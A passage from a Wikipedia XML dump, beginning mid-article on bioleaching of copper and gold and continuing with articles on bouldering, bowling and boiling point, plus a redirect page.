Currently it is more economical to smelt copper ore rather than to use bioleaching, since the concentration of copper in its ore is generally quite high. The profit obtained from the speed and yield of smelting justifies its cost. However, the concentration of gold in its ore is generally very low. The cheaper cost of bacterial leaching in this case outweighs the time it takes to extract the metal.

=== The process ===

The extraction of copper from its ore involves two [[bacterium|bacteria]], ''[[Acidithiobacillus ferrooxidans]]'' and ''[[Acidithiobacillus thiooxidans]]'' (formerly known as ''Thiobacillus''). In stage 1, bacteria [[catalyst|catalyse]] the breakdown of the mineral [[arsenopyrite]] (FeAsS) by oxidising the [[sulfur]] and metal (in this case [[arsenic]] ions) to higher oxidation states whilst reducing [[oxygen|dioxygen]] by H&lt;sub&gt;2&lt;/sub&gt; and Fe&lt;sup&gt;3+&lt;/sup&gt;. This allows the [[soluble]] products to dissolve.

:FeAsS&lt;sub&gt;(s)&lt;/sub&gt; &lt;tt&gt;-&gt;&lt;/tt&gt; Fe&lt;sup&gt;2+&lt;/sup&gt;&lt;sub&gt;(aq)&lt;/sub&gt; + As&lt;sup&gt;3+&lt;/sup&gt;&lt;sub&gt;(aq)&lt;/sub&gt; + S&lt;sup&gt;6+&lt;/sup&gt;&lt;sub&gt;(aq)&lt;/sub&gt;

This process actually occurs at the [[cell membrane]] of the bacteria. The electrons pass into the cells and are used in biochemical processes to produce energy for the bacteria to reduce oxygen molecules to water.

In stage 2, bacteria then oxidise Fe&lt;sup&gt;2+&lt;/sup&gt; to Fe&lt;sup&gt;3+&lt;/sup&gt; (whilst reducing O&lt;sub&gt;2&lt;/sub&gt;).

:Fe&lt;sup&gt;2+&lt;/sup&gt; &lt;tt&gt;-&gt;&lt;/tt&gt; Fe&lt;sup&gt;3+&lt;/sup&gt;

They then oxidise the metal to a higher positive oxidation state. With the electrons gained from that, they reduce Fe&lt;sup&gt;3+&lt;/sup&gt; to Fe&lt;sup&gt;2+&lt;/sup&gt; to continue the cycle. 

:M&lt;sup&gt;3+&lt;/sup&gt; &lt;tt&gt;-&gt;&lt;/tt&gt; M&lt;sup&gt;5+&lt;/sup&gt;

The [[gold]] is now separated from the ore and in solution.

The process for [[copper]] is very similar. The mineral [[chalcopyrite]] (CuFeS&lt;sub&gt;2&lt;/sub&gt;) follows the two stages of being dissolved and then further oxidised, with Cu&lt;sup&gt;2+&lt;/sup&gt; ions being left.

=== Extraction from mixture ===

Copper (Cu&lt;sup&gt;2+&lt;/sup&gt;) ions are removed from the solution by [[ligand]] exchange solvent extraction which leaves other ions in the solution. The copper is removed by bonding to a ligand, which is a large molecule consisting of a number of smaller groups each possessing a lone pair. The ligand is dissolved in an [[organic compound|organic]] solvent such as [[kerosene]] and shaken with the solution producing this reaction:

:Cu&lt;sup&gt;2+&lt;/sup&gt;&lt;sub&gt;(aq)&lt;/sub&gt; + 2LH(organic) &lt;tt&gt;-&gt;&lt;/tt&gt; CuL&lt;sub&gt;2&lt;/sub&gt;(organic) + 2H&lt;sup&gt;+&lt;/sup&gt;&lt;sub&gt;(aq)&lt;/sub&gt;

The ligand donates electrons to the copper, producing a complex - a central metal atom (copper) bonded to 2 molecules of the ligand. Because this complex has no charge, it is no longer attracted to [[polar molecule|polar]] water molecules and dissolves in the kerosene, which is then easily separated from the solution. Because the initial reaction is [[reversible reaction|reversible]], and therefore not a [[displacement reaction]], it is determined by pH. Adding concentrated acid reverses the equation, and the copper ions go back into an aqueous solution.

Then the copper is passed through an electro-winning process to increase its purity: an electric [[current (electricity)|current]] is passed through the resulting solution of copper ions. Because copper ions have a 2+ charge, they are attracted to the negative cathodes and collect there.

The copper can also be concentrated and separated by displacing the copper with Fe from scrap iron:

:Cu&lt;sup&gt;2+&lt;/sup&gt;&lt;sub&gt;(aq)&lt;/sub&gt; + Fe&lt;sub&gt;(s)&lt;/sub&gt; &lt;tt&gt;-&gt;&lt;/tt&gt; Cu&lt;sub&gt;(s)&lt;/sub&gt; + Fe&lt;sup&gt;2+&lt;/sup&gt;&lt;sub&gt;(aq)&lt;/sub&gt;

The electrons lost by the iron are taken up by the copper. Copper is the oxidising agent (it accepts electrons), and iron is the reducing agent (it loses electrons).

Traces of precious metals such as gold may be left in the original solution. Treating the mixture with [[sodium cyanide]] in the presence of free oxygen dissolves the gold. The gold is removed from the solution by adsorbing (taking it up on the surface) to [[charcoal]].

===Bioleaching with fungi===
Several species of fungi can be used for bioleaching. Fungi can be grown on many different strata like for Electronic scrap, catalytic converters and fly ash from municipal waste incineration. Experiments have shown, that two fungal strains (''Aspergillus niger, Penicillium simplicissimum'') were able to mobilize Cu and Sn by 65%, and Al, Ni, Pb, and Zn by more than 95%.

=== Further Reading ===
*''[[BHP Billiton]]'' - [http://www.imm.org.uk/gilbertsonpaper.htm]
*''Bactech''  - [http://www.bactech.com]
*''T. A. Fowler and F. K. Crundwell'' - 'Leaching of zinc sulfide with Thiobacillus ferrooxidans'
*''[http://www.bioheap.com.au BioHeap]''
*''Brandl H.'' (2001) Microbial leaching of metals. In: Rehm H.J. (ed.) Biotechnology, Vol. 10. Wiley-VCH, Weinheim, pp. 191-224

[[Category:Biotechnology]]
[[Category:Mining]]
[[Category:Economic geology]]</text>
    </revision>
  </page>
  <page>
    <title>Bloomfield, Leonard</title>
    <id>4112</id>
    <revision>
      <id>15902410</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Leonard Bloomfield]]
</text>
    </revision>
  </page>
  <page>
    <title>Bouldering</title>
    <id>4113</id>
    <revision>
      <id>41927496</id>
      <timestamp>2006-03-02T17:59:32Z</timestamp>
      <contributor>
        <ip>213.226.195.75</ip>
      </contributor>
      <comment>cswiki</comment>
      <text xml:space="preserve">[[Image:Boulderer.jpg|right|200px|thumb|Boulderer in Fontainebleau, France]]
'''Bouldering''' is a form of [[climbing]] which is undertaken without a rope.

==Description==
'''Bouldering''' is undertaken without a rope and is normally limited in respect to the height the climber ascends the route so that any fall will not risk significant injury. This variation of climbing can be practiced on large [[boulder]]s, at the base of larger rock faces/climbing routes, in indoor climbing centres, or even on manmade structures (see [[buildering]]). It was pioneered by the [[United Kingdom|British]] in the [[1880s]], according to [[John Gill (climber)|John Gill]]'s [http://www128.pair.com/r3d4k7/ website]. For many years, bouldering was only practiced as training for [[climbing|climbers]]. It was first pursued as a sport of its own during the [[1950s]] by Mr. Gill, a former [[gymnast]] who found the movement of bouldering enjoyable.

Typically bouldering is a more high impact sport focusing on individual moves rather than the endurance required in [[traditional climbing]] or [[sport climbing]]. Boulder routes are most commonly referred to as 'problems', because the nature of the climb is often short, curious, and much like problem solving. As in other types of climbing there are entire [[grade (bouldering)|grading systems]] for bouldering alone. The most commonly used grading systems are the John Sherman V-grade system, beginning at V0 and increasing by integers to a current achievement of V15, and the Fontainebleau system which ranges from 1 to 8c+.  Both scales are open-ended at the top, and thus the upper grade of these systems increases as boulderers ascend more difficult problems. 

To reduce the risk of injury after a fall, climbers rarely go higher than a few meters above the ground (anything over 7 meters is generally considered to be [[free-soloing]] although such climbs might also be termed high-ball bouldering problems). They may also put a [[crash pad]]/[[bouldering mat]] on the ground to break their fall and/or assign a [[spotting|spotter]], a person standing on the ground to prevent the climber from landing badly. The spotter generally works to direct the climbers body toward the crashpad during a fall, while protecting the climber's head from hazards.

The region around [[Fontainebleau]] near [[Paris]] is particularly famous for its beautiful and concentrated bouldering sites. Well known areas include [[Stanage]] (UK), [[Dover Island]] (Canada), [[Hueco Tanks]] (Texas), [[Castle Hill, New Zealand]], and [[Bishop, California]] amongst [[climbing area|others]].

Bouldering is continually gaining in popularity, partly as evidenced by the growth of bouldering areas in indoor climbing gyms and even entire climbing gyms dedicated to bouldering. Children are joining the sport now as well as adults. In fact, studies have found that when you start when you are young you have better climbing skills when you are older due to getting past disadvantages such as height and strength.

==Gear==
;Chalk
:Boulderers use loose, powdered chalk on their hands as a drying agent while climbing.  The chalk is stored in a small hand-sized pouch worn on the climber's lower back called a chalk bag.

;Pads
:Boulderers commonly carry a mattress-like object called a crash pad.  These are generally 50&quot; x 40&quot; x 3&quot; foam pads with a heavy-duty fabric shell.  Crash pads can be folded in half and worn like a backpack.  It is opened and placed at the based of a boulder to cover irregularities in the landing and provide some cushion if the climber falls.  Often a group of climbers will boulder together, each carrying his or her own crash pad.  When using many crash pads together, the landing zones are larger and safer.  A crash pad is not a substitute for a human spotter to protect a climber in a fall, and crash pads cannot eliminate all risk of injury.

;Ropes
:Ropes are generally not used in bouldering.  Occassionally, a top rope will be to practice a particularly high or dangerous boulder problem; however, many boulderers consider this to be poor form.

;Shoes
:While shoes desgned for technical climbing are not required to participate in bouldering, they can offer the climber a distinct advantage.

;Climbing Walls
:* hand holds
:* [http://en.wikibooks.org/wiki/Climbing_Hand_Holds] How to make Climbing hand holds
:* [http://en.wikibooks.org/wiki/Build_A_Climbing_Wall] How to build a climbing wall

==List of Bouldering Sites or Gyms==
===Lists by U.S. state:===
&lt;!-- please add links in alphabetical order--&gt;
*[[List of Indiana bouldering sites]]
*[[List of New York bouldering sites]]
*[[List of Pennsylvania bouldering sites]]
*[[List of Rhode Island bouldering sites]]


==External links==
* [http://www.jesenickekameny.cz/ Bouldering in Czech Republic]
* [http://www.ukbouldering.com/ Bouldering in the UK]
* [http://www.javu.co.uk/ Bouldering in Devon, UK]
* [http://www.theshortspan.com/ Bouldering in Ireland]
* [http://www.lakesbloc.co.uk/ Bouldering in the Lake District, UK]
* [http://www.northwalesbouldering.com/ Bouldering in North Wales, UK]
* [http://www.udini.com/ Bouldering in the UK, Germany, the US, NZ and more...]
* [http://www.scottishclimbs.com/ Bouldering in Scotland]
* [http://www.newenglandbouldering.com/ Bouldering in the US]
* [http://www.phoenixboulderingcontest.com/ The largest outdoor bouldering contest in the world]
* [http://ns.bouldering.ca/ Bouldering In Halifax, Nova Scotia, Canada]

[[Category:Climbing]]

[[cs:Bouldering]]
[[de:Bouldern]]
[[he:טיפוס בולדרינג]]
[[nl:Boulder]]
[[ja:ボルダリング]]
[[no:Buldring]]
[[pl:Bouldering]]
[[ru:Боулдеринг]]
[[sl:Balvansko plezanje]]</text>
    </revision>
  </page>
  <page>
    <title>Bowling</title>
    <id>4114</id>
    <revision>
      <id>42148756</id>
      <timestamp>2006-03-04T03:30:37Z</timestamp>
      <contributor>
        <ip>70.106.213.209</ip>
      </contributor>
      <comment>/* History */</comment>
      <text xml:space="preserve">:''For the use of this term in [[cricket]], see [[Bowling (cricket)]].''
:''For the town in West Dunbartonshire, see [[Bowling, Scotland]].''

[[Image:Bowling ball and pins.jpg|thumb|Bowling ball and two pins]]
[[Image:Bowlingbahn.jpg|thumb|Ten-pin bowling lane]]
'''Bowling''' is a game in which players attempt to score points by rolling a ball along a surface to knock down objects called pins.  There are many forms of bowling, and the earliest known form has been dated back to ancient Egypt.  Probably the best known form today is the American game of [[Ten-pin bowling]].  This form, in both amateur and professional versions, is played around the world, making it one of the largest participation sports available.

== History ==
{{sectstub}}
Historians have discovered forms of bowling as early as 3200 BC in [[Egypt]], though some argue that it originated later in Germany in 300 A.D.  The first written reference to bowling was in reference to King Edward III of England banning his troops from playing the game in the 14th century. European settlers brought forms of the game to the United States in the colonial era. 

The first standardized rules were established in New York City, on September 9, 1895.  In that year, the [[American Bowling Congress]] (ABC) was formed. The female equivalent, the [[Women's International Bowling Congress]] (WIBC) was founded later in 1917.  Later, the [[Youth American Bowling Alliance]] became the sanctioning body for junior bowling. 

Originally, [[pinspotter]]s manually set up pins. However, in 1952, the first automatic pin setting machine was commercially produced, greatly speeding up the game, and allowing its popularity to blossom. 

Given that bowling was a stationary, indoor sport, several early television shows featured bowling, including &quot;Championship Bowling,&quot; &quot;Make That Spare,&quot; &quot;Bowling For Dollars,&quot; and &quot;Celebrity Bowling.&quot; 

The [[Professional Bowlers Association]] (PBA) was founded in 1958 by Eddie Elias. While the first season only featured three events, the tour blossomed, especially after joining the ABC's Saturday afternoon time slot in 1961. Through the years, professional bowling on ABC typically outdrew college basketball, even in its final days on the network in the late 1990s. The PBA continues to showcase the best bowlers in the world, with telecasts currently on [[ESPN]].

In 2005, the [[American Bowling Congress]] (ABC), [[Women's International Bowling Congress]] (WIBC), and [[Youth American Bowling Alliance]] (YABA) merged to form the [[United States Bowling Congress]] (USBC) to serve as the unitary sanctioning body for American bowling.

==Forms==    

Most forms of bowling may be categorized as either indoor or outdoor.  Most indoor forms are played on a &quot;lane&quot;, a flat surface made of wood or a [[synthetic]] imitation, which is several times longer than it is wide.    

Included in the indoor category:
*[[Ten-pin bowling]], which evolved from [[ninepin bowling]] in the [[19th Century]].
*[[Five-pin bowling]], played in [[Canada]]
*[[Skittles (sport)|Nine-pin skittles]]
*[[Candlepin bowling]], played in eastern Canada and northern [[New England]], is a variation of ten-pin bowling.
*[[Duckpin bowling]], commonly found in the mid-Atlantic and southern New England [[United States]] and eastern [[Canada]], is a variation of ten-pin bowling involving small, squat pins, sometimes  with rubber at their widest points ([[rubber band duckpin bowling]]).
*[[Feather Bowling]] (Belgian trough bowling) originated in [[Belgium]] and is played in [[Detroit]] and [[Mount Clemens]], [[Michigan]].
*[[Cocked Hat]]
[[Image:Midnight bowling.jpg|thumb|right|250px|&quot;Midnight bowling&quot; or &quot;Cosmic bowling&quot; is offered in many ten-pin bowling centers to present bowling as entertainment. It involves the use of [[blacklight]]s, fluorescent pins and music to create a dazzling atmosphere.]]

For nearly a century, ten-pin bowling lanes had a surface made of wood.  Beginning about 1980, most ten-pin lane surfaces have been converted to or built with a [[synthetic]] material imitating a wooden surface.  In ten-pin bowling, a building containing many lanes has traditionally been called a bowling &quot;alley&quot; but in more recent times, to upgrade the image of the sport, bowling &quot;center&quot; is preferred.

The second category of bowling is usually played outdoors on a lawn. Here the players throw a ball, which is sometimes eccentrically weighted, in an attempt to put it closest to a designated point.  

Included in the outdoor category:
* [[Bowls|Lawn bowls]] 
* [[Bocce]]
* [[Pétanque]]

== Basic Rules == 

A game of bowling consists of 10 frames. The goal is to knock down all ten pins on the first shot, earning a strike. If the bowler fails to knock down all ten pins on the first shot, they take a second shot. If the bowler knocks down all of the pins after this second shot, he or she earns a spare. In the 10th, and last frame, a bowler who gets a strike on his or her first shot gets to throw two additional balls. A bowler who gets a spare in the 10th frame gets to throw one additional ball. 

If a bowler earns a strike on the first ball, it is scored as ten, plus the count the bowler achieves on the next two balls. For example, if a bowler earns a strike in the first three frames, the bowler will earn 10 pins for the first shot, plus ten more for each of the additional strikes, yielding a score of 30 for the first frame. 

When a bowler gets a spare, he or she gets 10 pins, plus the score on the next ball. For example, if a bowler gets a spare in the first frame, and then knocks down 9 pins on the first ball of the second frame, he or she would receive ten pins for the spare, plus nine, yielding a first frame score of 19.

== League Play == 

Traditionally, a major form of organized bowling has been through league competition. Leagues are typically groups of teams that compete with one another over the course of a 33 to 36 week season. The league season traditionally begins at the end of the summer and ends in the spring. 

In most leagues, teams of individuals bowl three games (called a &quot;series&quot;) each. A typical league will consist of two teams competing against one another each week. Usually the winner of each game is decided by adding up the scores of all teammates. Leagues typically decide standings by awarding a certain number of points for each team game win. Additionally, points are usually awarded for total pincount for each team over the course of all three games (commonly referred to as &quot;total wood&quot;). Throughout the course of a season, each team will usually face all of the other teams in competition.

Leagues can have various formats. Scratch leagues are those in which the total pin count determines the winner. Most leagues are not scratch, but handicap leagues. In handicap leagues, a handicap is usually awarded, to give teams with lower averages a chance against those with higher averaged bowlers. While most leagues are mixed leagues, containing both men and women, mens and womens leagues are still common, along with junior leagues for young bowlers. 

Currently, over three million people compete in bowling leagues. At its peak in the late 1970s, over nine million men and women competed in leagues throughout the United States.

==Is it a Sport?==

There is disagreement over whether bowling should be regarded as a sport.  It requires hand-eye coordination and techniques just as fine as in other sports where players are required to propel an object toward a target, such as in golf, baseball, basketball and hockey.  Nevertheless, bowling, like golf, obviously does not require running.  Those who excel at bowling will usually consider it a sport because improving your abilities is a challenge requiring a great deal of practice, physicial activity, and study.  Many professional bowlers engage in exercises like [[resistance training]] and jogging to sustain their stamina for long tournaments. For example, bowlers in the BPAA U.S. Open may have to bowl 51 games in the span of 5 days, sometimes bowling 16-17 games in one day. 

Bowling has many aspects that are often completely unknown to the recreational bowler. In addition to the physical aspects of throwing a [[bowling ball]], there are many other factors that can affect scoring. For example, the way in which oil is placed on the lane can have a great effect on how high someone will score. Oftentimes, oil patterns are compared to the obstacles on golf courses - sand traps, trees, etc. The big difference is that in bowling, these obstacles are invisible, since different oil patterns cannot be seen by the naked eye. 

Additionally, the surface and layout (basically, the place in which the holes are drilled into the ball) of a bowling ball can drastically change the way a ball reacts. For example, a ball can be drilled to go further down the lane, and then sharply hook at the backend of the lane, whereas the same ball can be drilled to hook earlier, and in a less severe fashion. Additionally, by sanding or polishing the surface of a bowling ball, a bowler can achieve various different ball reactions. Much as a golfer has many different golf clubs to choose from, using different types of balls, ball layouts, and ball surfaces can provide the means to deal with various different conditions.

==Organizations==

League and tournament ten-pin bowling groups in the United States have the option to be certified by the [[United States Bowling Congress]] (USBC).  The USBC provides standard sets of rules for the play of the game, equipment and other things.  It also provides several achievement and high score (honor) awards. 

The [[Bowling Proprietors Association of America]] (BPAA), founded in 1932, serves the interests of bowling center owners. The BPAA includes more than 3,300 bowling centers among its membership. For many years, the BPAA has run the BPAA United States Open tournament (commonly referred to as the &quot;U.S. Open&quot;), orginally call the BPAA-All Star Tournament.

==[[Ten-pin bowling]] technology==
:''For the machine which sets bowling pins, see [[pinsetter]].''

The behavior of a rolling ball on a surface is controlled by several factors, the most obvious being the bowler's delivery. In the delivery, the bowler can advantageously use or fight (intentionally or unintentionally) the force of [[gravity]]. After the ball is on the surface of the lane, a complex interaction of friction, [[Gyroscope|gyroscopic]] [[inertia]] and gravity becomes a factor that can range from subtle to perhaps amazing. These environmental influences can be segregated as either lane conditions or ball characteristics.

Both are regulated by the [[United States Bowling Congress|USBC]], as are the pin characteristics. Technological changes, throughout the history of the sport, often required new regulations, and this continues today, often with great debate. The controversies usually involve scoreability. While low scoring can be a problem, it is the increasing frequency and degree of higher scoring that irks the [[Purist|purists]], who say that it is spoiling the integrity of the sport. Among advanced players, there is little argument about whether technological changes have enabled higher scoring (it has). Yet there are those who have seen their scores decline, often due to not changing their technique or balls. Some argue that it unfairly effects competition. Many advanced bowlers continually buy new improved bowling balls to try to obtain an advantage over their opponents, and all have access, at least as far as their bank accounts can go.

Historically, up until the late 1960s, the USBC honor awards (for 300 games, 800 series, etc.) were rarely won genuine treasures. As things started to change, an organization named &quot;The Foundation&quot; comprised of experienced lane maintenance experts and many distinguished bowlers, including members of the [[Professional Bowlers Association]] (PBA) and the United States Bowling Congress (USBC) Halls of Fame, was founded in [[1966]] with the goal of addressing these serious issues. The Foundation members at that time made the statement that under the current environment in bowling they &quot;could no longer guarantee a lane condition that would be accepted by the contestants, coaches and observers as fair and equitable.&quot; In [[1989]], Bob Strickland wrote that bowlers know it is possible to bowl bad but score good, or worse, to bowl good but score bad. It can be confusing to players as they learn the game. For more experienced players, notably older ones who have locked themselves into some technique that no longer works as well, it can become quite frustrating.

In the early 1970s the first [[plastic]] balls became widely available, just a few years after the first [[urethane]] coatings were applied to the old wood lanes. Those and subsequent changes have been altering the physical scoring factors. These and the ever present opportunity to use lane oiling patterns to make targeting easier, is a cause for concern. Honor scores have increased by several thousand percent on a per capita basis in the 25 year time period from 1980 - 2005. The USBC, for various reasons, has not been able to regulate these changes well enough to protect the integrity of their honor score award program. So they have cheapened their intrinsic value and created other workarounds.

In response to the view that higher scoring lane conditions are spoiling the integrity of the sport, the USBC introduced in 2000 the Sport Bowling Program which offers a different optional league certification. It understandably requires higher bowler fees, and the USBC provides a separate set of honor awards. In &quot;Sport Bowling,&quot; lane conditions are more highly regulated and controlled than in traditional leagues and the oiling patterns used are generally more even with regards to volume and ratios of oil across the surface of the lane. &quot;Sport Bowling&quot; conditions are also used at the major championships of professional bowling (the U.S. Open, the USBC Masters, the PBA World Championship, and the PBA Tournament of Champions).

One of the most [[Controversy|contentious]] issues that has arisen is whether there should be a Standard Ball for the sport of bowling, or at least whether significant restrictions should be imposed on bowling ball technology. Other considerations have been noted with regards to the weight of the bowling pins, lane oiling techniques, and with the construction materials and techniques used to build bowling lanes.

A bowling ball is not an absolutely uniform [[sphere]] - the gripping holes (and sometimes a balance hole) alone make that impossible. Bowling ball materials, during the history of the USBC, have evolved from wood, to rubber, to plastic, to urethane, to reactive urethane, to particle, and to [[epoxy]]. Wood balls are now just museum pieces. Rubber balls are almost as hard to find - you may still see them offered to casual bowlers at bowling centers, from their racks for those who don't own their own ball. Bowling balls have been constructed with a core made of one material, a spherical coverstock (&quot;cover&quot; or &quot;shell&quot;) and a &quot;pancake&quot; weight block of denser material intended to compensate for the gripping holes.

In the early 1970s, people began experimenting with the hardness of the plastic balls, notably PBA member Don McCune, who invented the &quot;soaker&quot; - a plastic ball he softened &quot;in the garage&quot; with chemicals. These and balls subsequently manufactured with the resulting softer cover came under USBC scrutiny because of the increased scoring. A ball hardness rule was established, which barred some of the softer balls.

At some point in ball making and drilling the USBC introduced ball balance regulations to prevent people from taking advantage. It was possible to drill the grip at a location relative to the weight block so that it would achieve some effect, such as to help the bowler make it roll earlier or hook more.

Prior to about 1990, the USBC &quot;static&quot; ball balance regulations were adequate. The core was usually a uniform sphere centered inside the ball. Then competition among ball manufacturers motivated the production of balls designed to offer more than the &quot;static balance&quot; tricks. Materials and [[Manufacturing|fabrication]] changes have since allowed the assembly of balls whose interior components have a much greater range of [[density]], thereby offering a new ball choice that, in physics terms, involves the moment of inertia of a solid sphere. Eventually, &quot;dynamic balance&quot; regulations had to be adopted.

In order to continue this discussion, a systematic description of ball rotation must be introduced. For various formulaic purposes, physicists divide rotation into three components, assigning portions to x, y and z axes that are mutually perpendicular. For bowling, the x-axis can be assigned to a line that is parallel to the foul line, the y-axis to the line parallel to the boards, and the z-axis to the vertical. Forward-roll is rotation about the x-axis, side-roll is rotation about the y-axis and mid-roll (or spin) is rotation about the z-axis. The pure full-roller delivery is a combination of forward- and side-roll only. Semi-rollers include spin. Spinners may have very little side roll. In a very strict physics sense, a ball may be delivered with rotation, but usually not in a roll, because that would imply complete [[Traction (engineering)|traction]]. The technique of the great majority of bowlers involves a delivery that starts the ball in a skid that evolves into a roll that hooks into the pins.

It has been known since before the 1960s that a &quot;full-roller&quot; type of delivery does not hook as well as &quot;3/4 rollers&quot; on oily lanes. On successive rotations, the &quot;full roller&quot; repeatedly contacts the lane on the same full circumferential circle, on which the oil accumulates, making it harder for the side-roll to find traction and create hooking action. The &quot;full-roller&quot; had been the dominant choice before the changes in lane coatings and oil. The &quot;semi-roller&quot; is now preferred (it may also be called &quot;3/4 roller&quot; or by other slang terms). With a 3/4-roller a bowler puts the ball into a rotation whose contact ring is smaller, and on successive rotations enlarges (subsequent examination of the ball often shows a flaring of the circles of oil). This is because at every spot along the circle friction reduces the rotation, and that includes the spin component, causing rotation on a continually larger circle. This has the effect of bringing relatively dry ball surface in contact with the lane, increasing traction for both forward-roll and side-roll. It probably goes without saying why bowlers often wipe oil off the ball.

Another effect of ball imbalance (either static or dynamic) is the ability to introduce gyroscopic effects on the rotation. The component of imbalance along the rotation axis provides a leverage that can change the orientation of the axis on its horizontal plane, an action physicists call precession. It is basically the same thing as a spinning toy top &quot;going around in a circle.&quot; In the case of a rotating bowling ball, as it moves along the lane, there is only time for its total rotation axis to move along a short arc, but this is enough to reorient the total rotation so that some of the forward-roll becomes side-roll, increasing the side-roll provided in the bowler's delivery, thereby achieving more hook. It is possible to use dynamic ball balancing to achieve a stronger gyroscopic effect than static balancing alone.

The advent of dynamic ball balancing meant that bowlers could achieve &quot;ball flare&quot; without the need for a 3/4 roller delivery, and more hook. Additionally, balls with covers that create higher friction, such as &quot;particle&quot; balls, provide for more traction and hook. Bowlers are embracing these choices, buying balls whose characteristics complement or enhance their deliveries.

It is the opinion of many people in the bowling community that these advances in bowling ball technology have actually undermined bowling skill and have made it more difficult for lane maintenance personnel to lay out fair and credible conditions for participants. This is because advanced players using hi-tech balls &quot;need&quot; more oil to score high and might complain about the radical behavior of their balls on &quot;dry&quot; lanes. At the same time, less aggressive players might complain when they can't get their balls to hook. These complaints have actually been part of the game throughout USBC history. It's just been a matter of which group prevails within the USBC - or what new technology comes along next.

==See also==
*[[Skittles (sport)|Skittles]] &amp;mdash; the sport from which &quot;alley&quot; based Bowling originated
*[[Skee ball]] &amp;mdash; a game that plays similar to bowling
*[[Pin shooting]] &amp;mdash; a pistol shooting game using bowling pins.
*[[Professional Bowlers Association]] &amp;mdash; Ten-pin bowling's professional organization.

==External links==
*[http://www.fighttimes.com/magazine/magazine.asp?issue=4&amp;article=121&amp;title=The-Kegel The Kegel] - A historical game related to bowling
*[http://www.bowlingmuseum.com International Bowling Museum and Hall of Fame]
*[http://www.pba.com The Professional Bowlers Association (PBA)]
*[http://www.bowl.com The United States Bowling Congress (USBC)]
*[http://www.scottishtenpinbowling.com The Scottish Tenpin Bowling Association (STBA)]
*[http://www.foundation300.com The Foundation]
*[http://www.sportbowling.com Sport Bowling]
*[http://www.tenpinbowling.org/view.php?page=the_game.history history of the game]

{{Bowling}}

[[Category:Bowling|*]]
[[Category:Ball games]]


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  <page>
    <title>Boiling point</title>
    <id>4115</id>
    <revision>
      <id>41350287</id>
      <timestamp>2006-02-26T19:50:24Z</timestamp>
      <contributor>
        <username>Vary</username>
        <id>208472</id>
      </contributor>
      <comment>Revert to revision 41124508 using [[:en:Wikipedia:Tools/Navigation_popups|popups]]</comment>
      <text xml:space="preserve">{{Otheruses1|the boiling point of liquids}}

The '''boiling point''' of a substance is the temperature at which it can change its state from a [[liquid]] to a [[gas]] throughout the bulk of the liquid.  A liquid may change to a gas at temperatures below the boiling point through the process of [[evaporation]].  Any change of state from a liquid to a gas at boiling point is considered [[vaporization]].  However, evaporation is a [[surface phenomenon]], in which only molecules located near the gas/liquid surface could evaporate.  [[Boiling]] on the other hand is a bulk process, so at the boiling point molecules anywhere in the liquid may be vaporized, resulting in the formation of vapor bubbles.

A somewhat clearer (and perhaps more useful) definition of boiling point is &quot;the temperature at which the [[vapor pressure]] of the liquid equals the pressure of the surroundings.&quot;

== The Reaction ==
Something that should be remembered is that boiling is evidenced by the appearance of bubbles containing vapor from the liquid.  [Note: The bubbles that precede real boiling in the pot on the stove are either (formerly) dissolved air or water vapor forming on the very hot bottom of the pot that will be condensed before it can get to the top of the liquid.]  Production of vapor requires energy and thus does not occur without some source of energy.  This source can be a hot surface or even the liquid itself.  Hot liquid will boil as it rises through the bulk liquid if the pressure of the environment drops to the vapor pressure of the liquid at its temperature.  This production of vapor will quickly stop because the temperature of the liquid will be reduced by the vaporization thus reducing the vapor pressure.

== Saturation Temperature ==
'''Saturation Temperature''' is another term that basically mean boiling point. Saturation temperature is the temperature for a corresponding [[Saturation Pressure]] at which a [[liquid]] [[boils]] into its [[vapor]] [[phase]]. The liquid can be said to be saturated with [[thermal energy]]. Any addition of thermal energy results in a phase change.

If the [[pressure]] in a system remains constant ([[isobaric]]), a vapor at Saturation Temperature and Pressure will begin to condense into its liquid phase as thermal energy ([[heat]]) is removed. Similarly, a liquid at Saturation Temperature and Pressure will boil into its vapor phase as additional thermal energy is applied.

The boiling point corresponds to the temperature at which the [[vapor pressure]] of the substance equals the ambient pressure. Thus the boiling point is dependent on the pressure.  Usually, boiling points are published with respect to [[standard pressure]] (101.325&amp;nbsp;[[kilopascal]]s or 1&amp;nbsp;[[atmospheric pressure|atm]]). At higher elevations, where the atmospheric pressure is much lower, the boiling point is also lower.  The boiling point increases with increased ambient pressure up to the [[critical point]], where the gas and liquid properties become identical.  The boiling point cannot be increased beyond the critical point.  Likewise, the boiling point decreases with decreasing ambient pressure until the [[triple point]] is reached.  The boiling point cannot be reduced below the triple point.



== Latent Heat ==
The process of changing from a liquid to a gas requires an amount of [[heat]] called the latent [[heat of vaporization]].  As heat is added to a liquid at its boiling point, all of this heat goes toward the phase change from liquid to gas, thus the temperature of the substance remains constant even though heat has been added.  The word ''latent'', which comes from Latin and means hidden, is used  to describe this &quot;disappearing&quot; heat that is added, but doesn't result in an increase in temperature.  Since heat is added with no corresponding change in temperature, the heat capacity of the liquid is essentially infinite at the boiling point. 

== Intermolecular interactions ==
In terms of [[intermolecular]] interactions, the boiling point represents the point at which the liquid [[molecules]] possess enough [[heat]] [[energy]] to overcome the various intermolecular attractions  binding the molecules into the liquid (eg. [[dipole-dipole attraction]], [[instantaneous-dipole induced-dipole attraction|instantaneous-dipole induced-dipole attractions]], and [[hydrogen bond|hydrogen bonds]]). Therefore the boiling point is also an indicator of the strength of these attractive forces.

The boiling point of [[water]] is 100&amp;nbsp;[[Celsius|°C]] (212&amp;nbsp;[[Fahrenheit|°F]]) at standard pressure.  On top of [[Mount Everest]] the pressure is about 260 [[Millibar|mbar]] (26 kPa) so the boiling point of water is 69&amp;nbsp;[[Celsius|°C]].

For purists with a knowledge of thermodynamics, the ''normal boiling point of water'' is 99.97 degrees Celsius (at a pressure of 1 atm, i.e. 101.325 kPa).  Until 1982 this was also the ''standard boiling point of water'', but the [[IUPAC]] now recommends a standard pressure of 1 bar (100 kPa).  At this slightly reduced pressure, the ''standard boiling point of water'' is 99.61 degrees Celsius.

== Properties of Other Elements ==
The element with the lowest boiling point is [[helium]]. Both the boiling points of [[rhenium]] and [[tungsten]] exceed 5000 [[kelvin|K]] at [[standard pressure]]. Due to the experimental difficulty of precisely measuring extreme temperatures without bias, there is some discrepancy in the literature as to whether [[tungsten]] or [[rhenium]] has the higher boiling point.

(Cf. DeVoe, Howard, Thermodynamics and Chemistry.  Prentice-Hall, 2001)

==See also==
* [[Leidenfrost effect]]
